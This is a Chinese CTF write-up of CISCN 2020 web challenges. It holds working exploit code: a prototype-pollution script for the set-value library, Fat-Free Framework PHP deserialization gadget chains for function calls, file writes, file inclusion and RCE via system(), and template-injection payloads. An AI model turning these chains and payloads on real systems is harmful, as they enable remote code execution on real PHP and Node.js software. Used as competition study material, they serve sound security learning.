第十三届全国大学生信息安全竞赛西北赛区 Web题目 Writeup

Web狗无法在险恶的CTF世界中存活

CISCN2020 落幕,web所有题加起来还不如misc/crypto/re题的零头,吐了

littlegame

js原型链污染,set-value库3.0.0旧版本。公开exploit如下:

1
2
3
4
5
6
7
8
9
10
const setFn = require('set-value');
const paths = ['constructor.prototype.a0', '__proto__.a1',];
(function () {
for (const p of paths) { setFn({}, p, true); }
for (let i = 0; i < paths.length; i++) {
if (({})[`a${i}`] === true) {
console.log(`Yes with ${paths[i]}`);
}
}
})()

拿来主义,用就完了

阅读源码,可以发现在/Privilege处进行了set-value调用,并且在/DeveloperControlPanel处检查了Admin对象(一个普通的数组)的任意可控属性,那污染字典类型的原型,添加一个自定义属性即可。

最终exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
from requests import session
ses = session()
host = ''

ses.get(host + '/SpawnPoint')
ses.post(host + '/Privilege', data={
'NewAttributeKey': '__proto__.pwd',
'NewAttributeValue': 'frankli'
})
print(ses.post(host + '/DeveloperControlPanel', data={
'key': 'pwd',
'password': 'frankli'
}).text)

babyserialize

fatfree框架POP链挖掘

前段时间在WMCTF中挖的链被断掉了,稍微改一改

第一次见flag直接放phpinfo里头的。。。找了半天没找到。。。

在这里把挖到的几条链都放一下吧

单个任意参数调用任意函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@namespace('CLI')
class WS:
# call func with one param
def __init__(self, func, param):
@namespace('CLI')
class Agent():
class Base:
@namespace('DB\\Jig')
class Mapper:
@namespace('DB\\SQL')
class Mapper:
protected_props = {'read': func}
protected_file = param
protected_db = Mapper()
events = {'disconnect': [Mapper(), 'insert']}
protected_server = Base()
self.a = Agent() # autoload
# payload: serialize(WS())

任意文件写

1
2
3
4
5
6
7
8
9
@namespace('DB')
class Jig:
# write file
lazy = True
data = {'frankli.php': {
'asdf': '<?php phpinfo();exit();?>'
}}
dir = '/tmp/'
format = 0

任意(存在的)文件包含

结合上面调用函数的链调用\View->render

1
2
3
4
5
6
7
8
9
10
class View:
# arbitrary **exisiting** file inclusion
class Base:
TEMP = '/tmp/'
UI = '/tmp/'
fw = Base()

print(ses.get(url, params={'flag': serialize(
WS([View(), 'render'], 'frankli.php'))}
).text)

wmctf的时候挖的rce链

结合上面调用函数的链调用\Preview->resolve
然而这次resolve被删了

1
2
3
4
5
6
7
8
9
10
11
12
@namespace('CLI')
class WS:
@namespace('CLI')
class Agent():
class F3: # 随便一个存在的类
class Preview:
class Base:
hive = {'node': f'<?php system("ls");die(1);?>'}
fw = Base()
events = {'disconnect': [Preview(), 'resolve']}
server = F3()
a = Agent()

入口点和上面函数调用的是一样的

easytrick

一开始是联想到了Nu1l在某处的论坛里发的利用Exception__toString来绕过判等(属性不同,不强等于),但是无奈太长了
SimpleXMLElement也找不到合适的方式利用(有可能么?)

后来想了想,不可能是利用对象的__toString来绕过,因为这样无法同时绕过三个判断

最后发现1.00...001在转字符串的时候会变成1

1
2
3
4
class trick:
trick1 = 1.00000000000001
trick2 = 1.000000000000001
print(serialize(trick()))

剩下两道就放个payload吧。。

  • rceme: 没过滤反引号 ?a={if:var_dump(``ls``)}{end if}
  • easyphp: Apache收到SIGUSR1的时候会软重启 ?a=call_user_func&b=pcntl_wait